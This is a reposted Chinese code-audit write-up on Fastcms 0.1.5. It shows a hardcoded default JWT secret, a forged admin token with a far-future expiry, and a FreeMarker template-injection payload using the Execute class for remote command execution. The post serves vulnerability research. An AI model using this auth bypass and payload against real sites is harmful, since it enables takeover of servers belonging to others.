刷爆码云系列:Fastcms 代码审计(第二篇)

admin 2024年2月19日14:00:04评论16 views字数 1074阅读3分34秒阅读模式

经常会遇到jwt secret硬编码导致的权限绕过,本项目可以通过jwt权限绕过+模版注入rce

jwt伪造

fastcms-v0.1.5-release/web/src/main/resources/application.yml

使用默认的jwt密钥

刷爆码云系列:Fastcms 代码审计(第二篇)

SecretKey012345678901234567890123456789012345678901234567890123456789

com/fastcms/web/security/AuthConfigs.java

刷爆码云系列:Fastcms 代码审计(第二篇)

可以看到从配置文件获取jwt secretKey

com.fastcms.web.security#createToken()

刷爆码云系列:Fastcms 代码审计(第二篇)

刷爆码云系列:Fastcms 代码审计(第二篇)

可以看到jwt生成

刷爆码云系列:Fastcms 代码审计(第二篇)

然后子啊jwt.io填入以下信息,得到token

刷爆码云系列:Fastcms 代码审计(第二篇)

exp改为过期时间,修改为9999999999过期 来到登入点,随便输入后登陆,截取登陆的返回包

刷爆码云系列:Fastcms 代码审计(第二篇)

刷爆码云系列:Fastcms 代码审计(第二篇)

贴上以上放回包,即可伪造admin登陆

{"code":200,"message":null,"data":{"token":"eyJhbGciOiJIUzI1NiJ9.eyJhdXRoIjoiMSIsInVzZXJJZCI6MSwidXNlcm5hbWUiOiJhZG1pbiIsImV4cCI6OTk5OTk5OTk5OX0.Sa-kHpiuCAvqanZAcZK_zRGdwnAJaiasB9S-hP5ge38","tokenTtl":18000,"superAdmin":true,"username":"admin","nickname":"admin","headImg":null,"hasRole":true,"version":"Fastcms:v0.1.6-SNAPSHOT","userType":1}}

刷爆码云系列:Fastcms 代码审计(第二篇)

使用伪造的jwt登陆admin用户成功

模版注入

全局查询

刷爆码云系列:Fastcms 代码审计(第二篇)

com.fastcms.core.utils#render

刷爆码云系列:Fastcms 代码审计(第二篇)

com.fastcms.core.template#processTemplate

刷爆码云系列:Fastcms 代码审计(第二篇)

可以看在模版渲染的时候都没有做处理,所以导致模版注入。所以只要修改一下模版就能rce

刷爆码云系列:Fastcms 代码审计(第二篇)

修改后保存,访问主⻚即可rce

刷爆码云系列:Fastcms 代码审计(第二篇)

POC

<#assign ex="freemarker.template.utility.Execute"?new()> ${ ex("open -aCalculator.app") }

枇杷下单、CTF办赛、珂兰寺培训、众测、考证、认证培训全套服务 + b站:我身后风呼啸 ;想被割韭菜知识星球:黑伞安全

刷爆码云系列:Fastcms 代码审计(第二篇)

原文始发于微信公众号(黑伞安全):刷爆码云系列:Fastcms 代码审计(第二篇)

  • 左青龙
  • 微信扫一扫
  • weinxin
  • 右白虎
  • 微信扫一扫
  • weinxin
admin
  • 本文由 发表于 2024年2月19日14:00:04
  • 转载请保留本文链接(CN-SEC中文网:感谢原作者辛苦付出):
                   刷爆码云系列:Fastcms 代码审计(第二篇)https://cn-sec.com/archives/2134209.html

发表评论

匿名网友 填写信息